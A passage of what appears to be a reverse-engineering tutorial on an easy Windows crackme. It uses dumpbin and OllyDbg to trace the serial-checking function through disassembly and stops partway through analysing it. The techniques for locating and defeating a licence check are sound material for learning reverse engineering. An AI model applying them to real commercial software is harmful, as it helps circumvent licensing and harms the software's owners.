span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/span
span class="code-line"span class="normal"45/span/span
span class="code-line"span class="normal"46/span/span
span class="code-line"span class="normal"47/span/span
span class="code-line"span class="normal"48/span/span
span class="code-line"span class="normal"49/span/span
span class="code-line"span class="normal"50/span/span
span class="code-line"span class="normal"51/span/span
span class="code-line"span class="normal"52/span/span
span class="code-line"span class="normal"53/span/span
span class="code-line"span class="normal"54/span/span
span class="code-line"span class="normal"55/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"Microsoft (R) COFF/PE Dumper Version 12.00.21005.1/span/span
span class="code-line"span class="go"Copyright (C) Microsoft Corporation. All rights reserved./span/span
span class="code-line"/span
span class="code-line"/span
span class="code-line"span class="go"Dump of file C:\Users\user\Desktop\SomeCrypto~01\SomeCrypto~01.exe/span/span
span class="code-line"/span
span class="code-line"span class="go"File Type: EXECUTABLE IMAGE/span/span
span class="code-line"/span
span class="code-line"span class="go" Section contains the following imports:/span/span
span class="code-line"/span
span class="code-line"span class="go" KERNEL32.dll/span/span
span class="code-line"span class="go" 402018 Import Address Table/span/span
span class="code-line"span class="go" 4024F4 Import Name Table/span/span
span class="code-line"span class="go" 0 time date stamp/span/span
span class="code-line"span class="go" 0 Index of first forwarder reference/span/span
span class="code-line"/span
span class="code-line"span class="go" 215 GetModuleHandleA/span/span
span class="code-line"/span
span class="code-line"span class="go" USER32.dll/span/span
span class="code-line"span class="go" 402020 Import Address Table/span/span
span class="code-line"span class="go" 4024FC Import Name Table/span/span
span class="code-line"span class="go" 0 time date stamp/span/span
span class="code-line"span class="go" 0 Index of first forwarder reference/span/span
span class="code-line"/span
span class="code-line"span class="go" 20E MessageBoxA/span/span
span class="code-line"span class="go" 121 GetDC/span/span
span class="code-line"span class="go" 265 ReleaseDC/span/span
span class="code-line"span class="go" 114 GetClientRect/span/span
span class="code-line"span class="go" 2BB SetTimer/span/span
span class="code-line"span class="go" DC EndPaint/span/span
span class="code-line"span class="go" DA EndDialog/span/span
span class="code-line"span class="go" 1EE LoadImageA/span/span
span class="code-line"span class="go" 129 GetDlgItemTextA/span/span
span class="code-line"span class="go" AB DialogBoxParamA/span/span
span class="code-line"span class="go" 28F SetDlgItemTextA/span/span
span class="code-line"span class="go" E BeginPaint/span/span
span class="code-line"/span
span class="code-line"span class="go" GDI32.dll/span/span
span class="code-line"span class="go" 402000 Import Address Table/span/span
span class="code-line"span class="go" 4024DC Import Name Table/span/span
span class="code-line"span class="go" 0 time date stamp/span/span
span class="code-line"span class="go" 0 Index of first forwarder reference/span/span
span class="code-line"/span
span class="code-line"span class="go" 1FB GetObjectA/span/span
span class="code-line"span class="go" 13 BitBlt/span/span
span class="code-line"span class="go" E6 DeleteObject/span/span
span class="code-line"span class="go" 277 SelectObject/span/span
span class="code-line"span class="go" 30 CreateCompatibleDC/span/span
span class="code-line"/span
span class="code-line"span class="go" Summary/span/span
span class="code-line"/span
span class="code-line"span class="go" 1000 .data/span/span
span class="code-line"span class="go" 1000 .rdata/span/span
span class="code-line"span class="go" 69000 .rsrc/span/span
span class="code-line"span class="go" 1000 .text/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis shows us the functions that are being imported and which dll file each function is in./p
pThe first thing that stands out to me is the call to codeMessageBoxA/code on line 25./p
pThese challenges normally create a message box saying "Success" or something when you have done it so a call to this might be where in the application we want to get to./p
pAnd once we are there we should be able to trace back through the code to see where the check was done./p
pThe second thing I notice is the call to codeGetDlgItemTextA/code on line 33./p
pThis function looks like it could be responsible for getting our input, if this is true we could follow the code from that point and find the code that checks our input and the success code./p
h2Digging A Little Deeper/h2
pWe can ignore the rest for now and go straight to opening the application in OllyDBG. Open Olly with administrator privileges:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-admin.png" width="800"/p
pClick emFile-gt;Open/em and choose the codeSomeCrypto~01.exe/code file:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/open-crackme-olly.png" width="800"/p
pYou should then see this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-open.png" width="800"/p
pThe big section in the top left is the main disassembly window, this shows the disassembly of the application from the a href="https://en.wikipedia.org/wiki/Entry_point" target="_blank"entry point/a of the application (code004012DE/code), this is where execution of the application starts and these are the CPU instructions that are going to run./p
pWe can check this using codedumpbin/code with the following command: codedumpbin /headers "C:\Users\user\Desktop\SomeCrypto~01\SomeCrypto~01.exe" | find /i "entry point"/code/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go" 12DE entry point (004012DE)/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThe columns are from left to right, the memory address of the instruction, the hex representation of the instruction, the ia-32 assembly representation and finally notes that Olly puts there for us./p
pThe top right section contains the values of the a href="https://en.wikipedia.org/wiki/Processor_register" target="_blank"CPU registers/a, these are used primarily as storage for the CPU while it is running instructions. There are a couple of special ones which I'll explain if I need to./p
pThe format is: code[CPU register name] [value] [Olly notes]/code/p
pThe bottom right section is the a href="https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29" target="_blank"stack/a window and shows the current status of the stack, the stack is used to store function arguments and local variables as well as a few other things./p
pThe columns are from left to right, memory address, 4 byte hex value at that memory address, Olly notes/p
pThe bottom left section is the dump window and can be used to dump certain bits of memory to see what is there./p
pThe dump window has titles for its columns./p
pLet's see if there are any interesting strings in here, right click anywhere and click on emSearch for-gt;All referenced text strings/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-look-for-strings.png" width="800"/p
pYou should see the strings window with 4 entries:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-strings-window.png" width="800"/p
pThe third entry down looks promising (strongSuccess/strong)./p
pLet's have a look where in the application this is, right click on it and click emFollow in Disassembler/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-follow-string.png" width="800"/p
pYou should see something like this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-serial-check-call.png" width="800"/p
pAs you can see the function call is to codeMessageBoxA/code, this is where we want to end up./p
pJust above the function call are the instructions that decide whether or not the bit of code that calls codeMessageBoxA/code is run (strongI've highlighted the relevant rows/strong)./p
h2Understanding The Authentication Logic/h2
pThis is basically just calling some internal function at code00401000/code then using the return value to decide whether or not to jump to code004012CA/code. If the return value is code0/code the jump happens./p
pThis is the code at code004012CA/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/span
span class="code-line"span class="normal"7/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"004012CA |gt; 5F POP EDI/span/span
span class="code-line"span class="x"004012CB |. 5E POP ESI/span/span
span class="code-line"span class="x"004012CC |. 33C0 XOR EAX,EAX/span/span
span class="code-line"span class="x"004012CE |. 5B POP EBX/span/span
span class="code-line"span class="x"004012CF |. 8BE5 MOV ESP,EBP/span/span
span class="code-line"span class="x"004012D1 |. 5D POP EBP/span/span
span class="code-line"span class="x"004012D2 \. C2 1000 RETN 10/span/span
span class="code-line"/code/pre/div
/td/tr/table
pIt just exits so we don't want to end up here, this is the fail case./p
pLet's look inside this function to see what it does, right click on the function call (at code0040129D/code) and click emFollow/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-check-function-menu.png" width="800"/p
pYou should see this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-crypt-function.png" width="800"/p
pThis is the function that decides if our name and/or serial are correct. Here is the full disassembly:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/span
span class="code-line"span class="normal"45/span/span
span class="code-line"span class="normal"46/span/span
span class="code-line"span class="normal"47/span/span
span class="code-line"span class="normal"48/span/span
span class="code-line"span class="normal"49/span/span
span class="code-line"span class="normal"50/span/span
span class="code-line"span class="normal"51/span/span
span class="code-line"span class="normal"52/span/span
span class="code-line"span class="normal"53/span/span
span class="code-line"span class="normal"54/span/span
span class="code-line"span class="normal"55/span/span
span class="code-line"span class="normal"56/span/span
span class="code-line"span class="normal"57/span/span
span class="code-line"span class="normal"58/span/span
span class="code-line"span class="normal"59/span/span
span class="code-line"span class="normal"60/span/span
span class="code-line"span class="normal"61/span/span
span class="code-line"span class="normal"62/span/span
span class="code-line"span class="normal"63/span/span
span class="code-line"span class="normal"64/span/span
span class="code-line"span class="normal"65/span/span
span class="code-line"span class="normal"66/span/span
span class="code-line"span class="normal"67/span/span
span class="code-line"span class="normal"68/span/span
span class="code-line"span class="normal"69/span/span
span class="code-line"span class="normal"70/span/span
span class="code-line"span class="normal"71/span/span
span class="code-line"span class="normal"72/span/span
span class="code-line"span class="normal"73/span/span
span class="code-line"span class="normal"74/span/span
span class="code-line"span class="normal"75/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401000 $ 55 PUSH EBP/span/span
span class="code-line"span class="x"00401001 . 8BEC MOV EBP,ESP/span/span
span class="code-line"span class="x"00401003 . 8A01 MOV AL,BYTE PTR DS:[ECX]/span/span
span class="code-line"span class="x"00401005 . 83EC 20 SUB ESP,20/span/span
span class="code-line"span class="x"00401008 . 56 PUSH ESI/span/span
span class="code-line"span class="x"00401009 . 33F6 XOR ESI,ESI/span/span
span class="code-line"span class="x"0040100B . 84C0 TEST AL,AL/span/span
span class="code-line"span class="x"0040100D . 0F84 B3000000 JE SomeCryp.004010C6/span/span
span class="code-line"span class="x"00401013 . 8D55 E0 LEA EDX,DWORD PTR SS:[EBP-20]/span/span
span class="code-line"span class="x"00401016 . 2BD1 SUB EDX,ECX/span/span
span class="code-line"span class="x"00401018 gt; 3C 61 CMP AL,61/span/span
span class="code-line"span class="x"0040101A . 0F8C A6000000 JL SomeCryp.004010C6/span/span
span class="code-line"span class="x"00401020 . 3C 7A CMP AL,7A/span/span
span class="code-line"span class="x"00401022 . 0F8F 9E000000 JG SomeCryp.004010C6/span/span
span class="code-line"span class="x"00401028 . 88040A MOV BYTE PTR DS:[EDX+ECX],AL/span/span
span class="code-line"span class="x"0040102B . 8A41 01 MOV AL,BYTE PTR DS:[ECX+1]/span/span
span class="code-line"span class="x"0040102E . 41 INC ECX/span/span
span class="code-line"span class="x"0040102F . 46 INC ESI/span/span
span class="code-line"span class="x"00401030 . 84C0 TEST AL,AL/span/span
span class="code-line"span class="x"00401032 .^75 E4 JNZ SHORT SomeCryp.00401018/span/span
span class="code-line"span class="x"00401034 . 83FE 1A CMP ESI,1A/span/span
span class="code-line"span class="x"00401037 . 0F85 89000000 JNZ SomeCryp.004010C6/span/span
span class="code-line"span class="x"0040103D . 33C0 XOR EAX,EAX/span/span
span class="code-line"span class="x"0040103F . 90 NOP/span/span
span class="code-line"span class="x"00401040 gt; 8A88 10304000 MOV CL,BYTE PTR DS:[EAX+403010]/span/span
span class="code-line"span class="x"00401046 . 8888 40314000 MOV BYTE PTR DS:[EAX+403140],CL/span/span
span class="code-line"span class="x"0040104C . 40 INC EAX/span/span
span class="code-line"span class="x"0040104D . 84C9 TEST CL,CL/span/span
span class="code-line"span class="x"0040104F .^75 EF JNZ SHORT SomeCryp.00401040/span/span
span class="code-line"span class="x"00401051 . 33C9 XOR ECX,ECX/span/span
span class="code-line"span class="x"00401053 . 380D 40314000 CMP BYTE PTR DS:[403140],CL/span/span
span class="code-line"span class="x"00401059 . 74 2D JE SHORT SomeCryp.00401088/span/span
span class="code-line"span class="x"0040105B . EB 03 JMP SHORT SomeCryp.00401060/span/span
span class="code-line"span class="x"0040105D 8D49 00 LEA ECX,DWORD PTR DS:[ECX]/span/span
span class="code-line"span class="x"00401060 gt; 8A81 40314000 MOV AL,BYTE PTR DS:[ECX+403140]/span/span
span class="code-line"span class="x"00401066 . 3C 61 CMP AL,61/span/span
span class="code-line"span class="x"00401068 . 7C 14 JL SHORT SomeCryp.0040107E/span/span
span class="code-line"span class="x"0040106A . 3C 7A CMP AL,7A/span/span
span class="code-line"span class="x"0040106C . 7F 10 JG SHORT SomeCryp.0040107E/span/span
span class="code-line"span class="x"0040106E . 0E PUSH CS/span/span
span class="code-line"span class="x"0040106F . BE C08A9405 MOV ESI,5948AC0/span/span
span class="code-line"span class="x"00401074 . 7F FF JG SHORT SomeCryp.00401075/span/span
span class="code-line"span class="x"00401076 FF DB FF/span/span
span class="code-line"span class="x"00401077 FF DB FF/span/span
span class="code-line"span class="x"00401078 . 8891 40314000 MOV BYTE PTR DS:[ECX+403140],DL/span/span
span class="code-line"span class="x"0040107E gt; 41 INC ECX/span/span
span class="code-line"span class="x"0040107F . 80B9 40314000 gt;CMP BYTE PTR DS:[ECX+403140],0/span/span
span class="code-line"span class="x"00401086 .^75 D8 JNZ SHORT SomeCryp.00401060/span/span
span class="code-line"span class="x"00401088 gt; 83C8 FF OR EAX,FFFFFFFF/span/span
span class="code-line"span class="x"0040108B . BA 40314000 MOV EDX,SomeCryp.00403140/span/span
span class="code-line"span class="x"00401090 . 85C9 TEST ECX,ECX/span/span
span class="code-line"span class="x"00401092 . 74 19 JE SHORT SomeCryp.004010AD/span/span
span class="code-line"span class="x"00401094 gt; 0FB632 MOVZX ESI,BYTE PTR DS:[EDX]/span/span
span class="code-line"span class="x"00401097 . 33F0 XOR ESI,EAX/span/span
span class="code-line"span class="x"00401099 . 81E6 FF000000 AND ESI,0FF/span/span
span class="code-line"span class="x"0040109F . C1E8 08 SHR EAX,8/span/span
span class="code-line"span class="x"004010A2 . 3304B5 5820400gt;XOR EAX,DWORD PTR DS:[ESI*4+402058]/span/span
span class="code-line"span class="x"004010A9 . 42 INC EDX/span/span
span class="code-line"span class="x"004010AA . 49 DEC ECX/span/span
span class="code-line"span class="x"004010AB .^75 E7 JNZ SHORT SomeCryp.00401094/span/span
span class="code-line"span class="x"004010AD gt; F7D0 NOT EAX/span/span
span class="code-line"span class="x"004010AF . 3D 18B291F8 CMP EAX,F891B218/span/span
span class="code-line"span class="x"004010B4 . 75 10 JNZ SHORT SomeCryp.004010C6/span/span
span class="code-line"span class="x"004010B6 . 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]/span/span
span class="code-line"span class="x"004010B9 . C700 40314000 MOV DWORD PTR DS:[EAX],SomeCryp.00403140/span/span
span class="code-line"span class="x"004010BF . B0 01 MOV AL,1/span/span
span class="code-line"span class="x"004010C1 . 5E POP ESI/span/span
span class="code-line"span class="x"004010C2 . 8BE5 MOV ESP,EBP/span/span
span class="code-line"span class="x"004010C4 . 5D POP EBP/span/span
span class="code-line"span class="x"004010C5 . C3 RETN/span/span
span class="code-line"span class="x"004010C6 gt; 32C0 XOR AL,AL/span/span
span class="code-line"span class="x"004010C8 . 5E POP ESI/span/span
span class="code-line"span class="x"004010C9 . 8BE5 MOV ESP,EBP/span/span
span class="code-line"span class="x"004010CB . 5D POP EBP/span/span
span class="code-line"span class="x"004010CC . C3 RETN/span/span
span class="code-line"/code/pre/div
/td/tr/table
pHere I will go over this code in detail and try to understand what it is doing./p
pFirst it starts with the function prologue:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401000 $ 55 PUSH EBP/span/span
span class="code-line"span class="x"00401001 . 8BEC MOV EBP,ESP/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is common among all stdcall and cdecl functions, it just sets up the stack frame (for more information about stack frames check out the "Stack Frames" section of my post on a href="/x86-32-linux/reverse-engineering/2014/07/01/basic-binary-auditing/"basic binary auditing/a)./p
pThe next instruction is interesting:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401003 . 8A01 MOV AL,BYTE PTR DS:[ECX]/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is using the ECX register before anything has been done to it in this function. This means that whatever is stored in ECX was stored there in the calling function and it was passed as an argument to this current function./p
pThe reason it was passed in a register instead of on the stack (how arguments are normally passed) is because the compiler knew it was in control of all points of entry into this function./p
pThe most likely way that the compiler would have known this is if the function was explicitly defined with the strongstatic/strong keyword. This means that only functions inside the same source file can call this function./p
pTo figure out what is stored in ECX at this point in the application without running it, we will need to look back through the code that called this function, here is that code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401267 |. 8B3D 40204000 MOV EDI,DWORD PTR DS:[lt;amp;USER32.GetDlgItemTextAgt;] ; USER32.GetDlgItemTextA/span/span
span class="code-line"span class="x"0040126D |. 6A 40 PUSH 40 ; /Count = 40 (64.)/span/span
span class="code-line"span class="x"0040126F |. 8D8C24 C4000000 LEA ECX,DWORD PTR SS:[ESP+C4] ; |/span/span
span class="code-line"span class="x"00401276 |. 51 PUSH ECX ; |Buffer/span/span
span class="code-line"span class="x"00401277 |. 68 E9030000 PUSH 3E9 ; |ControlID = 3E9 (1001.)/span/span
span class="code-line"span class="x"0040127C |. 56 PUSH ESI ; |hWnd/span/span
span class="code-line"span class="x"0040127D |. FFD7 CALL EDI ; \GetDlgItemTextA/span/span
span class="code-line"span class="x"0040127F |. 6A 40 PUSH 40 ; /Count = 40 (64.)/span/span
span class="code-line"span class="x"00401281 |. 8D9424 84000000 LEA EDX,DWORD PTR SS:[ESP+84] ; |/span/span
span class="code-line"span class="x"00401288 |. 52 PUSH EDX ; |Buffer/span/span
span class="code-line"span class="x"00401289 |. 68 EA030000 PUSH 3EA ; |ControlID = 3EA (1002.)/span/span
span class="code-line"span class="x"0040128E |. 56 PUSH ESI ; |hWnd/span/span
span class="code-line"span class="x"0040128F |. FFD7 CALL EDI ; \GetDlgItemTextA/span/span
span class="code-line"span class="x"00401291 |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C]/span/span
span class="code-line"span class="x"00401295 |. 50 PUSH EAX/span/span
span class="code-line"span class="x"00401296 |. 8D8C24 84000000 LEA ECX,DWORD PTR SS:[ESP+84]/span/span
span class="code-line"span class="x"0040129D |. E8 5EFDFFFF CALL SomeCryp.00401000/span/span
span class="code-line"/code/pre/div
/td/tr/table
pAs you can see there are 2 calls to codeGetDlgItemTextA/code and we have 2 fields (Name and Serial). But at this time we don't know which field is which however we do have their ID's./p
pThe prototype for codeGetDlgItemTextA/code is:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="n"UINT/spanspan class="w" /spanspan class="n"WINAPI/spanspan class="w" /spanspan class="n"GetDlgItemText/spanspan class="p"(/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="n"HWND/spanspan class="w" /spanspan class="n"hDlg/spanspan class="p",/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"nIDDlgItem/spanspan class="p",/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_Out_/spanspan class="w" /spanspan class="n"LPTSTR/spanspan class="w" /spanspan class="n"lpString/spanspan class="p",/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"nMaxCount/spanspan class="w"/span/span
span class="code-line"span class="p");/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pAnd from the a href="http://msdn.microsoft.com/en-gb/library/windows/desktop/ms645489%28v=vs.85%29.aspx" target="_blank"manual page/a for it:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"hDlg [in]/span/span
span class="code-line"span class="go" Type: HWND/span/span
span class="code-line"span class="go" A handle to the dialog box that contains the control./span/span
span class="code-line"span class="go"nIDDlgItem [in]/span/span
span class="code-line"span class="go" Type: int/span/span
span class="code-line"span class="go" The identifier of the control whose title or text is to be retrieved./span/span
span class="code-line"span class="go"lpString [out]/span/span
span class="code-line"span class="go" Type: LPTSTR/span/span
span class="code-line"span class="go" The buffer to receive the title or text./span/span
span class="code-line"span class="go"nMaxCount [in]/span/span
span class="code-line"span class="go" Type: int/span/span
span class="code-line"span class="go" The maximum length, in characters, of the string to be copied to the buffer pointed to by lpString. If the length of the string, including the null character, exceeds the limit, the string is truncated./span/span
span class="code-line"/code/pre/div
/td/tr/table
pSo the second argument is the ID of the field and the third is the buffer that the text is going to be stored in./p
pThis means that we are looking for the control with ID 3EA. Line 16 (on the disassembly of the 2 calls to codeGetDlgItemTextA/code above) shows that ECX is being loaded with the address of ESP+84, just before ESP+84 is loaded as the buffer argument to codeGetDlgItemTextA/code with an ID of 3EA./p
pIf you remember back to when we used codedumpbin/code to list all of the imported functions, there was also a function called codeSetDlgItemTextA/code being imported./p
pThis function is likely used to set the values to "Enter you name..." and "Enter your serial...". We can use this to figure out which of these ID's (code3E9/code or code3EA/code) is the serial field and which is the name field; and ultimately which is being passed to our checking function in ECX./p
pWe could use the strings window again and find out where "Enter you name..." and "Enter your serial..." are referenced but I'll show you a different way to find them using the function name (codeSetDlgItemTextA/code)./p
pFirst close OllyDBG, open it again and open the crackme again so that you get to this point again:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-open.png" width="800"/p
pRight click anywhere and click emSearch for-gt;All intermodular calls/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-calls-menu.png" width="800"/p
pAfter that, this window should pop up:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-calls-window.png"/p
pYou can see the second and third entries are calls to codeSetDlgItemTextA/code, looking at the addresses on the left these calls are right next to each other./p
pRight click on 1 of them and click emFollow in Disassembler/em or press emEnter/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-calls-follow.png" width="800"/p
pYou should see this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-setdlgitemtexta-calls.png" width="800"/p
pHere is the disassembly of these calls:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/span
span class="code-line"span class="normal"7/span/span
span class="code-line"span class="normal"8/span/span
span class="code-line"span class="normal"9/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401116 |. 8B3D 48204000 MOV EDI,DWORD PTR DS:[lt;amp;USER32.SetDlgItegt;; USER32.SetDlgItemTextA/span/span
span class="code-line"span class="x"0040111C |. 68 60244000 PUSH SomeCryp.00402460 ; /Text = quot;Enter your name...quot;/span/span
span class="code-line"span class="x"00401121 |. 68 E9030000 PUSH 3E9 ; |ControlID = 3E9 (1001.)/span/span
span class="code-line"span class="x"00401126 |. 56 PUSH ESI ; |hWnd/span/span
span class="code-line"span class="x"00401127 |. FFD7 CALL EDI ; \SetDlgItemTextA/span/span
span class="code-line"span class="x"00401129 |. 68 74244000 PUSH SomeCryp.00402474 ; /Text = quot;Enter your serial...quot;/span/span
span class="code-line"span class="x"0040112E |. 68 EA030000 PUSH 3EA ; |ControlID = 3EA (1002.)/span/span
span class="code-line"span class="x"00401133 |. 56 PUSH ESI ; |hWnd/span/span
span class="code-line"span class="x"00401134 |. FFD7 CALL EDI ; \SetDlgItemTextA/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThe a href="http://msdn.microsoft.com/en-gb/library/windows/desktop/ms645521%28v=vs.85%29.aspx" target="_blank"prototype/a for this function is:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="n"BOOL/spanspan class="w" /spanspan class="n"WINAPI/spanspan class="w" /spanspan class="n"SetDlgItemText/spanspan class="p"(/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="n"HWND/spanspan class="w" /spanspan class="n"hDlg/spanspan class="p",/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"nIDDlgItem/spanspan class="p",/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"_In_/spanspan class="w" /spanspan class="n"LPCTSTR/spanspan class="w" /spanspan class="n"lpString/spanspan class="w"/span/span
span class="code-line"span class="p");/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pLooking at this its obvious that the control with ID 3EA is the serial number field because it is being set to "Enter your serial..."./p
pWe can verify this by setting a a href="https://en.wikipedia.org/wiki/Breakpoint" target="_blank"breakpoint/a at the top of the serial checking function, running the application and checking the value of the ECX register./p
pFirst go to the check function again:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-crypt-function.png" width="800"/p
pThen right click on the top instruction (at address code00401000/code) and click emBreakpoint-gt;Toggle/em or press emF2/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-set-breakpoint-crypt-function.png" width="800"/p
pYou should then see the background of the address section (on the far left) turn red:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-set-breakpoint-crypt-function2.png" width="800"/p
pThen run the application by clicking emDebug-gt;Run/em or pressing emF9/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-run-crackme.png" width="800"/p
pYou should see this after the breakpoint is hit (it shouldn't take long for the breakpoint to hit):/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-breakpoint-hit.png" width="800"/p
pAs you can see in the registers window (in the top right), the value of ECX is the address that contains the string "Enter your serial..." so our static analysis of the code was correct./p
pNow we can get back to analysing the code in this serial checking function./p
pThe following is the start of the function excluding the prologue:/p
